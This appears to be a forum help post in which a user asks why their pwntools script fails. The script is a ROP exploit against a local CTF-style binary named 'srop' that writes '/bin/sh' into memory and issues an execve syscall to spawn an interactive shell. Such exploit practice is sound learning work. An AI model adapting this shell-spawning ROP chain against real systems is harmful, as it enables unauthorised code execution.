완료됨
not working?
Can anyone help me my code is not working?
from pwn import *
context.binary = exe = ELF('./srop', checksec = False)
context.log_level = 'debug'
p = process(exe.path)
syscall = 0x00000000004004ec
binsh = 0x0000000000601a00
pop_rdi = 0x0000000000400583
pop_rax_sys = 0x00000000004004eb
pop_rsi_r15 = 0x0000000000400581
payload = b'A'*0x18
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(binsh) + p64(0)
payload += p64(exe.sym['read'])
payload += p64(pop_rdi) + p64(binsh)
payload += p64(pop_rsi_r15) +p64(0) + p64(0)
payload += p64(pop_rax_sys) + p64(0x3b)
input()
p.send(payload)
sleep(1)
p.send(b'/bin/sh\0')
p.interactive()
#pwnable
작성자 정보